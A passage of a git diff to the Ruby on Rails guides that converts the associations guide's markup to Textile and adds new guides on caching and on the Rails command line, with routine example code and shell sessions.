-===== +:finder_sql+
+h6. +:finder_sql+
Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
-===== +:foreign_key+
+h6. +:foreign_key+
By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class User < ActiveRecord::Base
- has_and_belongs_to_many :friends, :class_name => "User",
- :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+ has_and_belongs_to_many :friends, :class_name => "User",
+ :foreign_key => "this_user_id",
+ :association_foreign_key => "other_user_id"
end
--------------------------------------------------------
+</ruby>
-===== +:group+
+h6. +:group+
The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies, :group => "factory"
end
--------------------------------------------------------
+</ruby>
-===== +:include+
+h6. +:include+
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used.
-===== +:insert_sql+
+h6. +:insert_sql+
Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself.
-===== +:join_table+
+h6. +:join_table+
If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
-===== +:limit+
+h6. +:limit+
The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Parts < ActiveRecord::Base
- has_and_belongs_to_many :assemblies, :order => "created_at DESC", :limit => 50
+ has_and_belongs_to_many :assemblies, :order => "created_at DESC",
+ :limit => 50
end
--------------------------------------------------------
+</ruby>
-===== +:offset+
+h6. +:offset+
The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
-===== +:order+
+h6. +:order+
The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Parts < ActiveRecord::Base
has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
end
--------------------------------------------------------
+</ruby>
-===== +:readonly+
+h6. +:readonly+
If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
-===== +:select+
+h6. +:select+
The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-===== +:uniq+
+h6. +:uniq+
Specify the +:uniq => true+ option to remove duplicates from the collection.
-===== +:validate+
+h6. +:validate+
If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-==== When are Objects Saved?
+h5. When are Objects Saved?
When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
@@ -1741,9 +1678,9 @@ If any of these saves fails due to validation errors, then the assignment statem
If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the +_collection_.build+ method.
+If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-=== Association Callbacks
+h4. Association Callbacks
Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
@@ -1756,8 +1693,7 @@ Association callbacks are similar to normal callbacks, but they are triggered by
You define association callbacks by adding options to the association declaration. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders, :before_add => :check_credit_limit
@@ -1765,16 +1701,16 @@ class Customer < ActiveRecord::Base
...
end
end
--------------------------------------------------------
+</ruby>
Rails passes the object being added or removed to the callback.
You can stack callbacks on a single event by passing them as an array:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
- has_many :orders, :before_add => [:check_credit_limit, :calculate_shipping_charges]
+ has_many :orders,
+ :before_add => [:check_credit_limit, :calculate_shipping_charges]
def check_credit_limit(order)
...
@@ -1784,16 +1720,15 @@ class Customer < ActiveRecord::Base
...
end
end
--------------------------------------------------------
+</ruby>
If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
-=== Association Extensions
+h4. Association Extensions
You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
has_many :orders do
def find_by_order_prefix(order_number)
@@ -1801,12 +1736,11 @@ class Customer < ActiveRecord::Base
end
end
end
--------------------------------------------------------
+</ruby>
If you have an extension that should be shared by many associations, you can use a named extension module. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
module FindRecentExtension
def find_recent
find(:all, :conditions => ["created_at > ?", 5.days.ago])
@@ -1820,16 +1754,16 @@ end
class Supplier < ActiveRecord::Base
has_many :deliveries, :extend => FindRecentExtension
end
--------------------------------------------------------
+</ruby>
-To include more than one extension module in a single association, specify an array of names:
+To include more than one extension module in a single association, specify an array of modules:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class Customer < ActiveRecord::Base
- has_many :orders, :extend => [FindRecentExtension, FindActiveExtension]
+ has_many :orders,
+ :extend => [FindRecentExtension, FindActiveExtension]
end
--------------------------------------------------------
+</ruby>
Extensions can refer to the internals of the association proxy using these three accessors:
@@ -1837,10 +1771,11 @@ Extensions can refer to the internals of the association proxy using these three
* +proxy_reflection+ returns the reflection object that describes the association.
* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
-== Changelog ==
+h3. Changelog
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11
-* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
-* September 22, 2008: Added diagrams, misc. cleanup by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* September 14, 2008: initial version by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy
+* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version.
+* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile
new file mode 100644
index 0000000000..f1ad7b820d
--- /dev/null
+++ b/railties/guides/source/caching_with_rails.textile
@@ -0,0 +1,516 @@
+h2. Caching with Rails: An overview
+
+Everyone caches. This guide will teach you what you need to know about
+avoiding that expensive round-trip to your database and returning what you
+need to return to those hungry web clients in the shortest time possible.
+
+After reading this guide, you should be able to use and configure:
+
+* Page, action, and fragment caching
+* Sweepers
+* Alternative cache stores
+* Conditional GET support
+
+endprologue.
+
+h3. Basic Caching
+
+This is an introduction to the three types of caching techniques that Rails
+provides by default without the use of any third party plugins.
+
+To start playing with testing you'll want to ensure that
++config.action_controller.perform_caching+ is set
+to +true+ if you're running in development mode. This flag is normally set in the
+corresponding config/environments/*.rb and caching is disabled by default
+ for development and test, and enabled for production.
+
+<ruby>
+config.action_controller.perform_caching = true
+</ruby>
+
+h4. Page Caching
+
+Page caching is a Rails mechanism which allows the request for a generated
+page to be fulfilled by the webserver (i.e. apache or nginx), without ever having to go through the
+Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
+applied to every situation (such as pages that need authentication) and since
+the webserver is literally just serving a file from the filesystem, cache
+expiration is an issue that needs to be dealt with.
+
+So, how do you enable this super-fast cache behavior? Simple, let's say you
+have a controller called +ProductsController+ and an +index+ action that lists all
+the products
+
+<ruby>
+class ProductsController < ActionController
+
+ caches_page :index
+
+ def index
+ @products = Products.all
+ end
+
+end
+</ruby>
+
+The first time anyone requests +/products+, Rails will generate a file
+called +products.html+ and the webserver will then look for that file before it
+passes the next request for +/products+ to your Rails application.
+
+By default, the page cache directory is set to +Rails.public_path+ (which is
+usually set to the +public+ folder) and this can be configured by
+changing the configuration setting +config.action_controller.page_cache_directory+.
+Changing the default from +public+ helps avoid naming conflicts, since you may
+want to put other static html in +public+, but changing this will require web
+server reconfiguration to let the web server know where to serve the cached
+files from.
+
+The Page Caching mechanism will automatically add a +.html+ extension to
+requests for pages that do not have an extension to make it easy for the
+webserver to find those pages and this can be configured by changing the
+configuration setting +config.action_controller.page_cache_extension+.
+
+In order to expire this page when a new product is added we could extend our
+example controller like this:
+
+<ruby>
+class ProductsController < ActionController
+
+ caches_page :index
+
+ def index
+ @products = Products.all
+ end
+
+ def create
+ expire_page :action => :index
+ end
+
+end
+</ruby>
+
+If you want a more complicated expiration scheme, you can use cache sweepers
+to expire cached objects when things change. This is covered in the section on Sweepers.
+
+Note: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. Be careful when page caching GET parameters in the URL!
+
+h4. Action Caching
+
+One of the issues with Page Caching is that you cannot use it for pages that
+require to restrict access somehow. This is where Action Caching comes in.
+Action Caching works like Page Caching except for the fact that the incoming
+web request does go from the webserver to the Rails stack and Action Pack so
+that before filters can be run on it before the cache is served. This allows
+authentication and other restriction to be run while still serving the
+result of the output from a cached copy.
+
+Clearing the cache works in the exact same way as with Page Caching.
+
+Let's say you only wanted authenticated users to call actions on +ProductsController+.
+
+<ruby>
+class ProductsController < ActionController
+
+ before_filter :authenticate
+ caches_action :index
+
+ def index
+ @products = Product.all
+ end
+
+ def create
+ expire_action :action => :index
+ end
+
+end
+</ruby>
+
+You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the
+action should be cached. Also, you can use +:layout => false+ to cache without
+layout so that dynamic information in the layout such as logged in user info
+or the number of items in the cart can be left uncached. This feature is
+available as of Rails 2.2.
+
+You can modify the default action cache path by passing a +:cache_path+ option.
+This will be passed directly to +ActionCachePath.path_for+. This is handy for
+actions with multiple possible routes that should be cached differently. If
+a block is given, it is called with the current controller instance.
+
+Finally, if you are using memcached, you can also pass +:expires_in+. In fact,
+all parameters not used by +caches_action+ are sent to the underlying cache
+store.
+
+h4. Fragment Caching
+
+Life would be perfect if we could get away with caching the entire contents of
+a page or action and serving it out to the world. Unfortunately, dynamic web
+applications usually build pages with a variety of components not all of which
+have the same caching characteristics. In order to address such a dynamically
+created page where different parts of the page need to be cached and expired
+differently Rails provides a mechanism called Fragment Caching.
+
+Fragment Caching allows a fragment of view logic to be wrapped in a cache
+block and served out of the cache store when the next request comes in.
+
+As an example, if you wanted to show all the orders placed on your website
+in real time and didn't want to cache that part of the page, but did want
+to cache the part of the page which lists all products available, you
+could use this piece of code:
+
+<ruby>
+<% Order.find_recent.each do |o| %>
+ <%= o.buyer.name %> bought <% o.product.name %>
+<% end %>
+
+<% cache do %>
+ All available products:
+ <% Product.all.each do |p| %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+<% end %>
+</ruby>
+
+The cache block in our example will bind to the action that called it and is
+written out to the same place as the Action Cache, which means that if you
+want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call:
+
+<ruby>
+<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
+ All available products:
+</ruby>
+
+and you can expire it using the +expire_fragment+ method, like so:
+
+<ruby>
+expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products')
+</ruby>
+
+If you don't want the cache block to bind to the action that called it, You can
+also use globally keyed fragments by calling the +cache+ method with a key, like
+so:
+
+<ruby>
+<% cache('all_available_products') do %>
+ All available products:
+<% end %>
+</ruby>
+
+This fragment is then available to all actions in the +ProductsController+ using
+the key and can be expired the same way:
+
+<ruby>
+expire_fragment('all_available_products')
+</ruby>
+
+h4. Sweepers
+
+Cache sweeping is a mechanism which allows you to get around having a ton of
++expire_{page,action,fragment}+ calls in your code. It does this by moving all the work
+required to expire cached content into a +ActionController::Caching::Sweeper+
+class. This class is an Observer and looks for changes to an object via callbacks,
+and when a change occurs it expires the caches associated with that object in
+an around or after filter.
+
+Continuing with our Product controller example, we could rewrite it with a
+sweeper like this:
+
+<ruby>
+class ProductSweeper < ActionController::Caching::Sweeper
+ observe Product # This sweeper is going to keep an eye on the Product model
+
+ # If our sweeper detects that a Product was created call this
+ def after_create(product)
+ expire_cache_for(product)
+ end
+
+ # If our sweeper detects that a Product was updated call this
+ def after_update(product)
+ expire_cache_for(product)
+ end
+
+ # If our sweeper detects that a Product was deleted call this
+ def after_destroy(product)
+ expire_cache_for(product)
+ end
+
+ private
+ def expire_cache_for(product)
+ # Expire the index page now that we added a new product
+ expire_page(:controller => 'products', :action => 'index')
+
+ # Expire a fragment
+ expire_fragment('all_available_products')
+ end
+end
+</ruby>
+
+You may notice that the actual product gets passed to the sweeper, so if we
+were caching the edit action for each product, we could add a expire method
+which specifies the page we want to expire:
+
+<ruby>
+ expire_action(:controller => 'products', :action => 'edit', :id => product)
+</ruby>
+
+Then we add it to our controller to tell it to call the sweeper when certain
+actions are called. So, if we wanted to expire the cached content for the
+list and edit actions when the create action was called, we could do the
+following:
+
+<ruby>
+class ProductsController < ActionController
+
+ before_filter :authenticate
+ caches_action :index
+ cache_sweeper :product_sweeper
+
+ def index
+ @products = Product.all
+ end
+
+end
+</ruby>
+
+h4. SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each
+query so that if Rails encounters the same query again for that request, it
+will used the cached result set as opposed to running the query against the
+database again.
+
+For example:
+
+<ruby>
+class ProductsController < ActionController
+
+ def index
+ # Run a find query
+ @products = Product.all
+
+ ...
+
+ # Run the same query again
+ @products = Product.all
+ end
+
+end
+</ruby>
+
+The second time the same query is run against the database, it's not actually
+going to hit the database. The first time the result is returned from the query
+it is stored in the query cache (in memory) and the second time it's pulled from memory.
+
+However, it's important to note that query caches are created at the start of an action and destroyed at the end of
+that action and thus persist only for the duration of the action. If you'd like to store query results in a more
+persistent fashion, you can in Rails by using low level caching.
+
+h4. Cache stores
+
+Rails (as of 2.1) provides different stores for the cached data created by action and
+fragment caches. Page caches are always stored on disk.
+
+Rails 2.1 and above provide +ActiveSupport::Cache::Store+ which can be used to
+cache strings. Some cache store implementations, like MemoryStore, are able to
+cache arbitrary Ruby objects, but don't count on every cache store to be able
+to do that.
+
+The default cache stores provided with Rails include:
+
+1) ActiveSupport::Cache::MemoryStore: A cache store implementation which stores
+everything into memory in the same process. If you're running multiple Ruby on
+Rails server processes (which is the case if you're using mongrel_cluster or
+Phusion Passenger), then this means that your Rails server process instances
+won't be able to share cache data with each other. If your application never
+performs manual cache item expiry (e.g. when you‘re using generational cache
+keys), then using +MemoryStore+ is ok. Otherwise, consider carefully whether you
+should be using this cache store.
+
++MemoryStore+ is not only able to store strings, but also arbitrary Ruby objects.
+
++MemoryStore+ is not thread-safe. Use +SynchronizedMemoryStore+ instead if you
+need thread-safety.
+
+
+<ruby>
+ActionController::Base.cache_store = :memory_store
+</ruby>
+
+2) ActiveSupport::Cache::FileStore: Cached data is stored on the disk, this is
+the default store and the default path for this store is: /tmp/cache. Works
+well for all types of environments and allows all processes running from the
+same application directory to access the cached content. If /tmp/cache does not
+exist, the default store becomes MemoryStore.
+
+
+<ruby>
+ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
+</ruby>
+
+3) ActiveSupport::Cache::DRbStore: Cached data is stored in a separate shared
+DRb process that all servers communicate with. This works for all environments
+and only keeps one cache around for all processes, but requires that you run
+and manage a separate DRb process.
+
+
+<ruby>
+ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
+</ruby>
+
+4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
+Rails uses the bundled memcached-client gem by default. This is currently the
+most popular cache store for production websites.
+
+Special features:
+ * Clustering and load balancing. One can specify multiple memcached servers,
+ and MemCacheStore will load balance between all available servers. If a
+ server goes down, then MemCacheStore will ignore it until it goes back
+ online.
+ * Time-based expiry support. See +write+ and the +:expires_in+ option.
+ * Per-request in memory cache for all communication with the MemCache server(s).
+
+It also accepts a hash of additional options:
+
+ * +:namespace+- specifies a string that will automatically be prepended to keys when accessing the memcached store.
+ * +:readonly+- a boolean value that when set to true will make the store read-only, with an error raised on any attempt to write.
+ * +:multithread+ - a boolean value that adds thread safety to read/write operations - it is unlikely you'll need to use this option as the Rails threadsafe! method offers the same functionality.
+
+The read and write methods of the MemCacheStore accept an options hash too.
+When reading you can specify +:raw => true+ to prevent the object being marshaled
+(by default this is false which means the raw value in the cache is passed to
++Marshal.load+ before being returned to you.)
+
+When writing to the cache it is also possible to specify +:raw => true+ means
+the value is not passed to +Marshal.dump+ before being stored in the cache (by
+default this is false).
+
+The write method also accepts an +:unless_exist+ flag which determines whether
+the memcached add (when true) or set (when false) method is used to store the
+item in the cache and an +:expires_in+ option that specifies the time-to-live
+for the cached item in seconds.
+
+
+<ruby>
+ActionController::Base.cache_store = :mem_cache_store, "localhost"
+</ruby>
+
+5) ActiveSupport::Cache::SynchronizedMemoryStore: Like ActiveSupport::Cache::MemoryStore but thread-safe.
+
+
+<ruby>
+ActionController::Base.cache_store = :synchronized_memory_store
+</ruby>
+
+6) ActiveSupport::Cache::CompressedMemCacheStore: Works just like the regular
+MemCacheStore but uses GZip to decompress/compress on read/write.
+
+
+<ruby>
+ActionController::Base.cache_store = :compressed_mem_cache_store, "localhost"
+</ruby>
+
+7) Custom store: You can define your own cache store (new in Rails 2.1)
+
+
+<ruby>
+ActionController::Base.cache_store = MyOwnStore.new("parameter")
+</ruby>
+
++Note: +config.cache_store+ can be used in place of
++ActionController::Base.cache_store+ in your +Rails::Initializer.run+ block in
++environment.rb+
+
+In addition to all of this, Rails also adds the +ActiveRecord::Base#cache_key+
+method that generates a key using the class name, +id+ and +updated_at+ timestamp (if available).
+
+You can access these cache stores at a low level for storing queries and other objects. Here's an example:
+
+<ruby>
+Rails.cache.read("city") # => nil
+Rails.cache.write("city", "Duckburgh")
+Rails.cache.read("city") # => "Duckburgh"
+</ruby>
+
+h3. Conditional GET support
+
+Conditional GETs are a feature of the HTTP specification that provide a way for web
+servers to tell browsers that the response to a GET request hasn't changed
+since the last request and can be safely pulled from the browser cache.
+
+They work by using the +HTTP_IF_NONE_MATCH+ and +HTTP_IF_MODIFIED_SINCE+ headers
+to pass back and forth both a unique content identifier and the timestamp of
+when the content was last changed. If the browser makes a request where the
+content identifier (etag) or last modified since timestamp matches the server’s
+version then the server only needs to send back an empty response with a not
+modified status.
+
+It is the server's (i.e. our) responsibility to look for a last modified
+timestamp and the if-none-match header and determine whether or not to send
+back the full response. With conditional-get support in rails this is a pretty
+easy task:
+
+<ruby>
+class ProductsController < ApplicationController
+
+ def show
+ @product = Product.find(params[:id])
+
+ # If the request is stale according to the given timestamp and etag value
+ # (i.e. it needs to be processed again) then execute this block
+ if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
+ respond_to do |wants|
+ # ... normal response processing
+ end
+ end
+
+ # If the request is fresh (i.e. it's not modified) then you don't need to do
+ # anything. The default render checks for this using the parameters
+ # used in the previous call to stale? and will automatically send a
+ # :not_modified. So that's it, you're done.
+end
+</ruby>
+
+If you don't have any special response processing and are using the default
+rendering mechanism (i.e. you're not using respond_to or calling render
+yourself) then you’ve got an easy helper in fresh_when:
+
+<ruby>
+class ProductsController < ApplicationController
+
+ # This will automatically send back a :not_modified if the request is fresh,
+ # and will render the default template (product.*) if it's stale.
+
+ def show
+ @product = Product.find(params[:id])
+ fresh_when :last_modified => @product.published_at.utc, :etag => @article
+ end
+end
+</ruby>
+
+h3. Advanced Caching
+
+Along with the built-in mechanisms outlined above, a number of excellent
+plugins exist to help with finer grained control over caching. These include
+Chris Wanstrath's excellent cache_fu plugin (more info "here": http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
+interlock plugin (more info "here": http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
+of these plugins play nice with memcached and are a must-see for anyone
+seriously considering optimizing their caching needs.
+
+Also the new "Cache money":http://github.com/nkallen/cache-money/tree/master plugin is supposed to be mad cool.
+
+h3. References
+
+* "Scaling Rails Screencasts":http://railslab.newrelic.com/scaling-rails
+* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/2/28/rails-caching-tutorial
+* "RailsEnvy, Rails Caching Tutorial, Part 1":http://www.railsenvy.com/2007/3/20/ruby-on-rails-caching-tutorial-part-2
+* "ActiveSupport::Cache documentation":http://api.rubyonrails.org/classes/ActiveSupport/Cache.html
+* "Rails 2.1 integrated caching tutorial":http://thewebfellas.com/blog/2008/6/9/rails-2-1-now-with-better-integrated-caching
+
+
+h3. Changelog
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/10-guide-to-caching
+
+April 1, 2009: Made a bunch of small fixes
+February 22, 2009: Beefed up the section on cache_stores
+December 27, 2008: Typo fixes
+November 23, 2008: Incremental updates with various suggested changes and formatting cleanup
+September 15, 2008: Initial version by Aditya Chadha
diff --git a/railties/guides/source/command_line.textile b/railties/guides/source/command_line.textile
new file mode 100644
index 0000000000..d042458419
--- /dev/null
+++ b/railties/guides/source/command_line.textile
@@ -0,0 +1,589 @@
+h2. A Guide to The Rails Command Line
+
+Rails comes with every command line tool you'll need to
+
+* Create a Rails application
+* Generate models, controllers, database migrations, and unit tests
+* Start a development server
+* Mess with objects through an interactive shell
+* Profile and benchmark your new creation
+
+NOTE: This tutorial assumes you have basic Rails knowledge from reading the "Getting Started with Rails Guide":getting_started.html.
+
+endprologue.
+
+h3. Command Line Basics
+
+There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
+
+* console
+* server
+* rake
+* generate
+* rails
+
+Let's create a simple Rails application to step through each of these commands in context.
+
+h4. +rails+
+
+The first thing we'll want to do is create a new Rails application by running the +rails+ command after installing Rails.
+
+WARNING: You know you need the rails gem installed by typing +gem install rails+ first, right? Okay, okay, just making sure.
+
+<shell>
+$ rails commandsapp
+
+ create
+ create app/controllers
+ create app/helpers
+ create app/models
+ ...
+ ...
+ create log/production.log
+ create log/development.log
+ create log/test.log
+</shell>
+
+Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+INFO: This output will seem very familiar when we get to the +generate+ command. Creepy foreshadowing!
+
+h4. +server+
+
+Let's try it! The +server+ command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser.
+
+INFO: WEBrick isn't your only option for serving Rails. We'll get to that in a later section.
+
+Without any prodding of any kind, +server+ will run our new shiny Rails app:
+
+<shell>
+$ cd commandsapp
+$ ./script/server
+=> Booting WEBrick...
+=> Rails 2.2.0 application started on http://0.0.0.0:3000
+=> Ctrl-C to shutdown server; call with --help for options
+[2008-11-04 10:11:38] INFO WEBrick 1.3.1
+[2008-11-04 10:11:38] INFO ruby 1.8.5 (2006-12-04) [i486-linux]
+[2008-11-04 10:11:38] INFO WEBrick::HTTPServer#start: pid=18994 port=3000
+</shell>
+
+WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.
+
+See? Cool! It doesn't do much yet, but we'll change that.
+
+h4. +generate+
+
+The +generate+ command uses templates to create a whole lot of things. You can always find out what's available by running +generate+ by itself. Let's do that:
+
+<shell>
+$ ./script/generate
+Usage: ./script/generate generator [options] [args]
+
+...
+...
+
+Installed Generators
+ Built-in: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
+
+...
+...
+</shell>
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+INFO: All Rails console utilities have help text. As with most *NIX utilities, you can try adding +--help+ or +-h+ to the end, for example +./script/server --help+.
+
+<shell>
+$ ./script/generate controller
+Usage: ./script/generate controller ControllerName [options]
+
+...
+...
+
+Example:
+ ./script/generate controller CreditCard open debit credit close
+
+ Credit card controller with URLs like /credit_card/debit.
+ Controller: app/controllers/credit_card_controller.rb
+ Views: app/views/credit_card/debit.html.erb [...]
+ Helper: app/helpers/credit_card_helper.rb
+ Test: test/functional/credit_card_controller_test.rb
+
+Modules Example:
+ ./script/generate controller 'admin/credit_card' suspend late_fee
+
+ Credit card admin controller with URLs /admin/credit_card/suspend.
+ Controller: app/controllers/admin/credit_card_controller.rb
+ Views: app/views/admin/credit_card/debit.html.erb [...]
+ Helper: app/helpers/admin/credit_card_helper.rb
+ Test: test/functional/admin/credit_card_controller_test.rb
+</shell>
+
+Ah, the controller generator is expecting parameters in the form of +generate controller ControllerName action1 action2+. Let's make a +Greetings+ controller with an action of *hello*, which will say something nice to us.
+
+<shell>
+$ ./script/generate controller Greetings hello
+ exists app/controllers/
+ exists app/helpers/
+ create app/views/greetings
+ exists test/functional/
+ create app/controllers/greetings_controller.rb
+ create test/functional/greetings_controller_test.rb
+ create app/helpers/greetings_helper.rb
+ create app/views/greetings/hello.html.erb
+</shell>
+
+Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.
+
+Let's check out the controller and modify it a little (in +app/controllers/greetings_controller.rb+):
+
+<ruby>
+class GreetingsController < ApplicationController
+ def hello
+ @message = "Hello, how are you today? I am exuberant!"
+ end
+
+end
+</ruby>
+
+Then the view, to display our nice message (in +app/views/greetings/hello.html.erb+):
+
+<html>
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+</html>
+
+Deal. Go check it out in your browser. Fire up your server. Remember? +./script/server+ at the root of your Rails application should do it.
+
+<shell>
+$ ./script/server
+=> Booting WEBrick...
+</shell>
+
+WARNING: Make sure that you do not have any "tilde backup" files in +app/views/(controller)+, or else WEBrick will _not_ show the expected output. This seems to be a *bug* in Rails 2.3.0.
+
+The URL will be +http://localhost:3000/greetings/hello+. I'll wait for you to be suitably impressed.
+
+INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
+
+"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name?
+
+<shell>
+$ ./script/generate model
+Usage: ./script/generate model ModelName [field:type, field:type]
+
+...
+
+Examples:
+ ./script/generate model account
+
+ creates an Account model, test, fixture, and migration:
+ Model: app/models/account.rb
+ Test: test/unit/account_test.rb
+ Fixtures: test/fixtures/accounts.yml
+ Migration: db/migrate/XXX_add_accounts.rb
+
+ ./script/generate model post title:string body:text published:boolean
+
+ creates a Post model with a string title, text body, and published flag.
+</shell>
+
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+
+Let's set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
+
+<shell>
+$ ./script/generate scaffold HighScore game:string score:integer
+ exists app/models/
+ exists app/controllers/
+ exists app/helpers/
+ create app/views/high_scores
+ create app/views/layouts/
+ exists test/functional/
+ create test/unit/
+ create public/stylesheets/
+ create app/views/high_scores/index.html.erb
+ create app/views/high_scores/show.html.erb
+ create app/views/high_scores/new.html.erb
+ create app/views/high_scores/edit.html.erb
+ create app/views/layouts/high_scores.html.erb
+ create public/stylesheets/scaffold.css
+ create app/controllers/high_scores_controller.rb
+ create test/functional/high_scores_controller_test.rb
+ create app/helpers/high_scores_helper.rb
+ route map.resources :high_scores
+dependency model
+ exists app/models/
+ exists test/unit/
+ create test/fixtures/
+ create app/models/high_score.rb
+ create test/unit/high_score_test.rb
+ create test/fixtures/high_scores.yml
+ exists db/migrate
+ create db/migrate/20081217071914_create_high_scores.rb
+</shell>
+
+Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the +high_scores+ table and fields), takes care of the route for the *resource*, and new tests for everything.
+
+The migration requires that we *migrate*, that is, run some Ruby code (living in that +20081217071914_create_high_scores.rb+) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the +rake db:migrate+ command. We'll talk more about Rake in-depth in a little while.
+
+CAUTION: Hey. Install the sqlite3-ruby gem while you're at it. +gem install sqlite3-ruby+
+
+<shell>
+$ rake db:migrate
+(in /home/commandsapp)
+ CreateHighScores: migrating
+ create_table(:high_scores)
+ -> 0.0070s
+ CreateHighScores: migrated (0.0077s)
+</shell>
+
+INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
+
+Let's see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores
+
